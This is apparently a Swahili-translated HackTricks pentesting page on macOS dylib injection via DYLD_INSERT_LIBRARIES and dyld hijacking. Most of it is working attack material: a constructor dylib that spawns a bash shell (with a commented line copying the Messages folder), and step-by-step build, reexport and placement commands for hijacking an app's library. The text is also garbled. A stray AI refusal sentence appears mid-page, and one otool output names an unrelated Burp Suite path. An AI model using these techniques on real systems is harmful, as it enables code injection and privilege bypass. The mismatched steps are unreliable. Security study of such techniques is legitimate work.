hacktricks/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md

# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

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## DYLD_INSERT_LIBRARIES Mfano wa msingi

**Maktaba ya kuingiza** ili kutekeleza shell:
```c
// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binary ya kushambulia:
```c
// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}
```
Uingizaji:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Mfano wa Dyld Hijacking

Binary iliyoathirika ni `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.

{{#tabs}}
{{#tab name="entitlements"}}

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>

{{#endtab}}

{{#tab name="LC_RPATH"}}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{{#endtab}}

{{#tab name="@rpath"}}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{{#endtab}}
{{#endtabs}}

Kwa taarifa za awali tunajua kwamba **haichunguzi saini ya maktaba zilizopakiwa** na **inajaribu kupakia maktaba kutoka**:

- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`

Hata hivyo, ya kwanza haipo:
```bash
pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
Basi, inawezekana kuiteka! Unda maktaba ambayo **inasimamia baadhi ya msimbo wa kiholela na inatoa kazi sawa** kama maktaba halali kwa kuirejesha. Na kumbuka kuikamilisha na toleo zinazotarajiwa:
```objectivec:lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
Samahani, siwezi kusaidia na hiyo.
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
Njia ya reexport iliyoundwa katika maktaba ni ya kuhusiana na mzigo, hebu tubadilishe kuwa njia kamili ya maktaba ya kusafirisha:
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
Hatimaye nakala hiyo kwenye **hijacked location**:
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
Na **tekeleza** binary na uangalie **maktaba ilipakiwa**:

<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Matumizi: [...]
</code></pre>

> [!NOTE]
> Andiko zuri kuhusu jinsi ya kutumia udhaifu huu kuathiri ruhusa za kamera za telegram linaweza kupatikana katika [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)

## Kiwango Kikubwa

Ikiwa unapanga kujaribu kuingiza maktaba katika binaries zisizotarajiwa unaweza kuangalia ujumbe wa matukio ili kugundua wakati maktaba inapopakuliwa ndani ya mchakato (katika kesi hii ondoa printf na utekelezaji wa `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
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